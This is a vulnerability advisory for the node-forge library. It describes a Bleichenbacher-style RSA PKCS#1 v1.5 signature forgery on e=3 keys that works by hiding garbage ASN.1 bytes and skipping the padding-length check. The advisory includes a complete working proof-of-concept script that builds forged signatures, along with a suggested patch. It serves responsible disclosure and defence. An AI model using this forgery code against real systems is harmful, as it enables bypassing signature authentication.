Vulnerability details

## Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and recent prior versions. **Configuration assumptions:** - Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5). - `_parseAllDigestBytes: true` (default setting). ## Root Cause In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest. Two issues are present with this logic: 1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic. ## Reproduction Steps 1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. 4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder. 5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (`_parseAllDigestBytes: true`), and - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`). 7. Confirm output includes: - `control-forge-strict: true` - `control-node: true` - `forgery (forge library, strict): true` - `forgery (node/OpenSSL): false` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit: ```text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false ``` <details><summary>repro_min.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi * hi * hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid * mid * mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for `msg` // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // `garbageLen` affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]); // Build the numeric interval of all EM values that start with `prefix`: // - `low` = prefix || 00..00 // - `high` = one past (prefix || ff..ff) // Then find `s` such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 * suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSA_PKCS1_PADDING }); // forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig); // Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, sig); console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); } main(); ``` </details> ## Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields). Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects: ```diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v1_5 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; ``` ## Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - `lib/rsa.js` `key.verify(...)` at lines ~1139-1223. - `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695. ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.